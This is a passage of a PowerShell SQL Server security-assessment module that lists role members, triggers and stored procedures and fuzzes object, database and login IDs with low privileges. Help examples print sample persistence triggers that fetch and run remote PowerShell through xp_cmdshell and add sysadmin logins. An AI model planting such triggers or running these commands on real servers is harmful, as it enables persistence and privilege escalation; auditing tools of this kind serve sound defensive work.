                role_principal_id as [RolePrincipalId],
                USER_NAME(role_principal_id) as [RolePrincipalName],
                member_principal_id as [PrincipalId],
                USER_NAME(member_principal_id) as [PrincipalName]
                FROM [$DbName].[sys].[database_role_members]
                WHERE 1=1
                $RolePrincipalNameFilter
            $PrincipalNameFilter" 

            # Execute Query
            $TblDatabaseRoleMembersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            # Append results
            $TblDatabaseRoleMembers = $TblDatabaseRoleMembers + $TblDatabaseRoleMembersTemp
        }                                         
    }

    End
    {  
        # Return data
        $TblDatabaseRoleMembers        
    }
}


# ----------------------------------
# Get-SQLTriggerDdl
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLTriggerDdl 
{
    <#
            .SYNOPSIS
            Returns DDL trigger information from target SQL Servers. This includes logon triggers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER TriggerName
            Trigger name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLTriggerDdl -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            TriggerName : persistence_ddl_1
            TriggerId : 1104722988
            TriggerType : SERVER
            ObjectType : SQL_TRIGGER
            ObjectClass : SERVER
            TriggerDefinition : -- Create the DDL trigger
            CREATE Trigger [persistence_ddl_1]
            ON ALL Server
            FOR DDL_LOGIN_EVENTS
            AS
                      
            -- Download and run a PowerShell script from the internet
            EXEC master..xp_cmdshell 'Powershell -c "IEX(new-object
            net.webclient).downloadstring(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_ddl.ps1'')"';
                      
            -- Add a sysadmin named 'SysAdmin_DDL' if it doesn't exist
            if (SELECT count(name) FROM sys.sql_logins WHERE name like 'SysAdmin_DDL') = 0
                      
            -- Create a login
            CREATE LOGIN SysAdmin_DDL WITH PASSWORD = 'Password123!';
                         
            -- Add the login to the sysadmin fixed server role
            EXEC sp_addsrvrolemember 'SysAdmin_DDL', 'sysadmin';
                                                     
            create_date : 4/26/2016 8:34:49 PM
            modify_date : 4/26/2016 8:34:49 PM
            is_ms_shipped : False
            is_disabled : False
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLTriggerDdl -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Trigger name.')]
        [string]$TriggerName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblDdlTriggers = New-Object -TypeName System.Data.DataTable

        # Setup role name
        if ($TriggerName)
        {
            $TriggerNameFilter = " AND name like '$TriggerName'"
        }
        else
        {
            $TriggerNameFilter = ''
        }
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin privileges to get all rows.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            name as [TriggerName],
            object_id as [TriggerId],
            [TriggerType] = 'SERVER',
            type_desc as [ObjectType],
            parent_class_desc as [ObjectClass],
            OBJECT_DEFINITION(OBJECT_ID) as [TriggerDefinition],
            create_date,
            modify_date,
            is_ms_shipped,
            is_disabled
            FROM [master].[sys].[server_triggers] WHERE 1=1
        $TriggerNameFilter" 

        # Execute Query
        $TblDdlTriggersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Append results
        $TblDdlTriggers = $TblDdlTriggers  + $TblDdlTriggersTemp  
    }

    End
    {  
        # Return data
        $TblDdlTriggers        
    }
}


# ----------------------------------
# Get-SQLTriggerDml
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLTriggerDml 
{
    <#
            .SYNOPSIS
            Returns DML trigger information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER TriggerName
            Trigger name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLTriggerDml -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            TriggerName : persistence_dml_1
            TriggerId : 565577053
            TriggerType : DATABASE
            ObjectType : SQL_TRIGGER
            ObjectClass : OBJECT_OR_COLUMN
            TriggerDefinition : -- Create trigger
            CREATE TRIGGER [persistence_dml_1]
            ON testdb.dbo.NOCList
            FOR INSERT, UPDATE, DELETE AS
                           
            -- Impersonate sa
            EXECUTE AS LOGIN = 'sa'
                           
            -- Download a PowerShell script from the internet to memory and execute it
            EXEC master..xp_cmdshell 'Powershell -c "IEX(new-object
            net.webclient).downloadstring(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_dml.ps1'')"';
                           
            -- Add a sysadmin named 'SysAdmin_DML' if it doesn't exist
            if (select count(*) from sys.sql_logins where name like 'SysAdmin_DML') = 0
                           
            -- Create a login
            CREATE LOGIN SysAdmin_DML WITH PASSWORD = 'Password123!';
                              
            -- Add the login to the sysadmin fixed server role
            EXEC sp_addsrvrolemember 'SysAdmin_DML', 'sysadmin';
                          
            create_date : 4/26/2016 8:58:28 PM
            modify_date : 4/26/2016 8:58:28 PM
            is_ms_shipped : False
            is_disabled : False
            is_not_for_replication : False
            is_instead_of_trigger : False
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLTriggerDml -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,                
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server database name.')]
        [string]$DatabaseName,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Trigger name.')]
        [string]$TriggerName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblDmlTriggers = New-Object -TypeName System.Data.DataTable

        # Setup login filter
        if ($TriggerName)
        {
            $TriggerNameFilter = " AND name like '$TriggerName'"
        }
        else
        {
            $TriggerNameFilter = ''
        }
    }

    Process
    {        
        # Note: Tables queried by this function typically require sysadmin privileges to get all rows.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Grabbing DML triggers from the databases below:."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }
            
        # Get list of databases
        $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose

        # Get role for each database
        $TblDatabases |
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : - $DbName"
            }

            # Define Query
            $Query = " use [$DbName];
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$DbName' as [DatabaseName],
                name as [TriggerName],
                object_id as [TriggerId],
                [TriggerType] = 'DATABASE',
                type_desc as [ObjectType],
                parent_class_desc as [ObjectClass],
                OBJECT_DEFINITION(OBJECT_ID) as [TriggerDefinition],
                create_date,
                modify_date,
                is_ms_shipped,
                is_disabled,
                is_not_for_replication,
                is_instead_of_trigger
                FROM [$DbName].[sys].[triggers] WHERE 1=1
            $TriggerNameFilter" 

            # Execute Query
            $TblDmlTriggersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            # Append results
            $TblDmlTriggers = $TblDmlTriggers + $TblDmlTriggersTemp
        }                                
    }

    End
    {  
        # Return data
        $TblDmlTriggers        
    }
}


# ----------------------------------
# Get-SQLStoredProcedure
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLStoredProcedure 
{
    <#
            .SYNOPSIS
            Returns stored procedures from target SQL Servers.
            Note: Viewing procedure definitions requires the sysadmin role or the VIEW DEFINITION permission.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER ProcedureName
            Procedure name to filter for.
            .PARAMETER NoDefaults
            Filter out results from default databases.
            .EXAMPLE
            PS C:\> Get-SQLStoredProcure -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            SchemaName : dbo
            ProcedureName : MyTestProc
            ProcedureType : PROCEDURE
            ProcedureDefinition : CREATE PROC MyTestProc
            WITH EXECUTE AS OWNER
            as
            begin
            select SYSTEM_USER as currentlogin, ORIGINAL_LOGIN() as originallogin
            end
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,                
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server database name.')]
        [string]$DatabaseName,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Trigger name.')]
        [string]$ProcedureName,

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't select tables from default databases.")]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblProcs = New-Object -TypeName System.Data.DataTable

        # Setup login filter
        if ($ProcedureName)
        {
            $ProcedureNameFilter = " AND ROUTINE_NAME like '$ProcedureName'"
        }
        else
        {
            $ProcedureNameFilter = ''
        }
    }

    Process
    {        
        # Parse ComputerName
        If ($Instance)
        {
            $ComputerName = $Instance.split('\')[0].split(',')[0]
            $Instance = $Instance
        }
        else
        {
            $ComputerName = $env:COMPUTERNAME
            $Instance = '.\'
        }
            
        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Grabbing stored procedures from databases below:"
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose
        }
        else
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose           
        } 

        # Get role for each database
        $TblDatabases |
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : - $DbName"
            }

            # Define Query
            $Query = " use [$DbName];
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                ROUTINE_CATALOG AS [DatabaseName],
                ROUTINE_SCHEMA AS [SchemaName],
                ROUTINE_NAME as [ProcedureName],
                ROUTINE_TYPE as [ProcedureType],
                ROUTINE_DEFINITION as [ProcedureDefinition],
                SQL_DATA_ACCESS,
                ROUTINE_BODY,
                CREATED,
                LAST_ALTERED
                FROM [INFORMATION_SCHEMA].[ROUTINES] WHERE 1=1
            $ProcedureNameFilter" 

            # Execute Query
            $TblProcsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            # Append results
            $TblProcs = $TblProcs + $TblProcsTemp
        }                                
    }

    End
    {  
        # Return data
        $TblProcs       
    }
}



#endregion

#########################################################################
#
#region UTILITY FUNCTIONS
#
#########################################################################

# ----------------------------------
# Get-SQLFuzzObjectName
# ----------------------------------
# Author: Scott Sutherland
# Reference: https://raresql.com/2013/01/29/sql-server-all-about-object_id/
# Reference: https://social.technet.microsoft.com/Forums/forefront/en-US/f73c2115-57f7-4cec-a95b-00c2d8252ace/objectid-recycled-?forum=transactsql
Function  Get-SQLFuzzObjectName
{
    <#
            .SYNOPSIS
            Enumerates objects based on object id using OBJECT_NAME() and only the Public role.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER StartId
            Principal ID to start fuzzing with.
            .PARAMETER EndId
            Principal ID to stop fuzzing with.
            .EXAMPLE
            PS C:\> Get-SQLFuzzObjectName -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 5
 
            ComputerName Instance ObjectId ObjectName
            ------------ -------- -------- ----------
            SQLServer1 SQLServer1\STANDARDDEV2014 3 sysrscols
            SQLServer1 SQLServer1\STANDARDDEV2014 5 sysrowsets
            SQLServer1 SQLServer1\STANDARDDEV2014 6 sysclones
            SQLServer1 SQLServer1\STANDARDDEV2014 7 sysallocunits
            SQLServer1 SQLServer1\STANDARDDEV2014 8 sysfiles1
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to start fuzzing with.')]
        [string]$StartId = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to stop fuzzing on.')]
        [string]$EndId = 300,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblFuzzedObjects = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # All user defined objects are assigned a positive object ID plus system tables.
        # Apart from these objects, the rest of the system objects are assigned negative object IDs.
        # This object_id comes from the primary key of system table sys.sysschobjs.The column name is id, int data type and it is not an identity column
        # If you create a new object in the database, the first ID will always be 2073058421 in SQL SERVER 2005 and 245575913 in SQL SERVER 2012.
        # The object_ID increment counter for user defined objects will add 16000057 + Last user defined object_ID and will give you a new ID.
        <# IThis object_id comes from the primary key of system table sys.sysschobjs. The new object_id will increase 16000057 (a prime number) from
                last object_id. When the last object_id +16000057 is over the int maximum ( 2147483647), it will start with a new number before the difference
                between the new bigint number and the maximum int. This cycle will generate 134 or 135 new object_id for each cycle. The system has a maximum
                number of objects, which is 2147483647.
                The object ID is only unique within each database.
        #>          

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Enumerating objects from object IDs..."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Fuzz from StartId to EndId
        $StartId..$EndId | 
        ForEach-Object -Process {
            # Define Query
            $Query = "SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$_' as [ObjectId],
            OBJECT_NAME($_) as [ObjectName]"
                                        
            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            $ObjectName = $TblResults.ObjectName
            if( -not $SuppressVerbose)
            {
                if($ObjectName.length -ge 2)
                {
                    Write-Verbose -Message "$Instance : - Object ID $_ resolved to: $ObjectName"
                }
                else
                {
                    Write-Verbose -Message "$Instance : - Object ID $_ resolved to: "
                }
            }
        
            # Append results
            $TblFuzzedObjects = $TblFuzzedObjects + $TblResults   
        }  
    }

    End
    {  
        # Return data
        $TblFuzzedObjects | Where-Object -FilterScript {
            $_.ObjectName.length -ge 2
        }
    }
}


# ----------------------------------
# Get-SQLFuzzDatabaseName
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLFuzzDatabaseName
{
    <#
            .SYNOPSIS
            Enumerates databases based on database id using DB_NAME() and only the Public role.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER StartId
            Principal ID to start fuzzing with.
            .PARAMETER EndId
            Principal ID to stop fuzzing with.
            .EXAMPLE
            PS C:\> Get-SQLFuzzDatabaseName -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 5
 
            ComputerName Instance DatabaseId DatabaseName
            ------------ -------- ---------- ------------
            SQLServer1 SQLServer1\STANDARDDEV2014 1 master
            SQLServer1 SQLServer1\STANDARDDEV2014 2 tempdb
            SQLServer1 SQLServer1\STANDARDDEV2014 3 model
            SQLServer1 SQLServer1\STANDARDDEV2014 4 msdb
            SQLServer1 SQLServer1\STANDARDDEV2014 5 ReportServer$STANDARDDEV2014
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to start fuzzing with.')]
        [string]$StartId = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to stop fuzzing on.')]
        [string]$EndId = 300,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblFuzzedDbs = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Enumerating database names from database IDs..."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Fuzz from StartId to EndId
        $StartId..$EndId | 
        ForEach-Object -Process {
            # Define Query
            $Query = "SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$_' as [DatabaseId],
            DB_NAME($_) as [DatabaseName]"
                                        
            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
            
            $DatabaseName = $TblResults.DatabaseName
            if($DatabaseName.length -ge 2)
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : - ID $_ - Resolved to: $DatabaseName"
                }
            }
            else
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : - ID $_ - Resolved to:"
                }
            } 
        
            # Append results
            $TblFuzzedDbs = $TblFuzzedDbs + $TblResults   
        }  
    }

    End
    {  
        # Return data
        $TblFuzzedDbs | Where-Object -FilterScript {
            $_.DatabaseName.length -ge 2
        }
    }
}


# ----------------------------------
# Get-SQLFuzzServerLogin
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLFuzzServerLogin
{
    <#
            .SYNOPSIS
            Enumerates SQL Server Logins based on login id using SUSER_NAME() and only the Public role.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER StartId
            Principal ID to start fuzzing with.
            .PARAMETER EndId
            Principal ID to stop fuzzing with.
            .PARAMETER GetRole
            Checks if the principal name is a role, SQL login, or Windows account.
            .EXAMPLE
            PS C:\> Get-SQLFuzzServerLogin -Instance SQLServer1\STANDARDDEV2014 -StartId 1 -EndId 500 | Select-Object -First 40
 
            ComputerName Instance PrincipalId PrincipleName
            ------------ -------- ---------- -------------
            SQLServer1 SQLServer1\STANDARDDEV2014 1 sa
            SQLServer1 SQLServer1\STANDARDDEV2014 2 public
            SQLServer1 SQLServer1\STANDARDDEV2014 3 sysadmin
            SQLServer1 SQLServer1\STANDARDDEV2014 4 securityadmin
            SQLServer1 SQLServer1\STANDARDDEV2014 5 serveradmin
            SQLServer1 SQLServer1\STANDARDDEV2014 6 setupadmin
            SQLServer1 SQLServer1\STANDARDDEV2014 7 processadmin
            SQLServer1 SQLServer1\STANDARDDEV2014 8 diskadmin
            SQLServer1 SQLServer1\STANDARDDEV2014 9 dbcreator
            SQLServer1 SQLServer1\STANDARDDEV2014 10 bulkadmin
            SQLServer1 SQLServer1\STANDARDDEV2014 101 ##MS_SQLResourceSigningCertificate##
            SQLServer1 SQLServer1\STANDARDDEV2014 102 ##MS_SQLReplicationSigningCertificate##
            SQLServer1 SQLServer1\STANDARDDEV2014 103 ##MS_SQLAuthenticatorCertificate##
            SQLServer1 SQLServer1\STANDARDDEV2014 105 ##MS_PolicySigningCertificate##
            SQLServer1 SQLServer1\STANDARDDEV2014 106 ##MS_SmoExtendedSigningCertificate##
            SQLServer1 SQLServer1\STANDARDDEV2014 121 ##Agent XPs##
            SQLServer1 SQLServer1\STANDARDDEV2014 122 ##SQL Mail XPs##
            SQLServer1 SQLServer1\STANDARDDEV2014 123 ##Database Mail XPs##
            SQLServer1 SQLServer1\STANDARDDEV2014 124 ##SMO and DMO XPs##
            SQLServer1 SQLServer1\STANDARDDEV2014 125 ##Ole Automation Procedures##
            SQLServer1 SQLServer1\STANDARDDEV2014 126 ##Web Assistant Procedures##
            SQLServer1 SQLServer1\STANDARDDEV2014 127 ##xp_cmdshell##
            SQLServer1 SQLServer1\STANDARDDEV2014 128 ##Ad Hoc Distributed Queries##
            SQLServer1 SQLServer1\STANDARDDEV2014 129 ##Replication XPs##
            SQLServer1 SQLServer1\STANDARDDEV2014 257 ##MS_PolicyTsqlExecutionLogin##
            SQLServer1 SQLServer1\STANDARDDEV2014 259 Domain\User
            SQLServer1 SQLServer1\STANDARDDEV2014 260 NT SERVICE\SQLWriter
            SQLServer1 SQLServer1\STANDARDDEV2014 261 NT SERVICE\Winmgmt
            SQLServer1 SQLServer1\STANDARDDEV2014 262 NT Service\MSSQL$STANDARDDEV2014
            SQLServer1 SQLServer1\STANDARDDEV2014 263 NT AUTHORITY\SYSTEM
            SQLServer1 SQLServer1\STANDARDDEV2014 264 NT SERVICE\SQLAgent$STANDARDDEV2014
            SQLServer1 SQLServer1\STANDARDDEV2014 265 NT SERVICE\ReportServer$STANDARDDEV2014
            SQLServer1 SQLServer1\STANDARDDEV2014 266 ##MS_PolicyEventProcessingLogin##
            SQLServer1 SQLServer1\STANDARDDEV2014 267 ##MS_AgentSigningCertificate##
            SQLServer1 SQLServer1\STANDARDDEV2014 268 MySQLUser1
            SQLServer1 SQLServer1\STANDARDDEV2014 270 MySQLUser2
            SQLServer1 SQLServer1\STANDARDDEV2014 271 MySQLUser3
            SQLServer1 SQLServer1\STANDARDDEV2014 272 MySysadmin1
            SQLServer1 SQLServer1\STANDARDDEV2014 273 Domain\User2
            SQLServer1 SQLServer1\STANDARDDEV2014 274 MySysadmin2
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to start fuzzing with.')]
        [string]$StartId = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to stop fuzzing on.')]
        [string]$EndId = 300,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Try to determine if the principal type is role, SQL login, or Windows account via error analysis of sp_defaultdb.')]
        [switch]$GetPrincipalType,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblFuzzedLogins = New-Object -TypeName System.Data.DataTable
        $null = $TblFuzzedLogins.Columns.add('ComputerName')
        $null = $TblFuzzedLogins.Columns.add('Instance')
        $null = $TblFuzzedLogins.Columns.add('PrincipalId')
        $null = $TblFuzzedLogins.Columns.add('PrincipleName')
        if($GetPrincipalType)
        {
            $null = $TblFuzzedLogins.Columns.add('PrincipleType')
        }
    }

    Process
    {
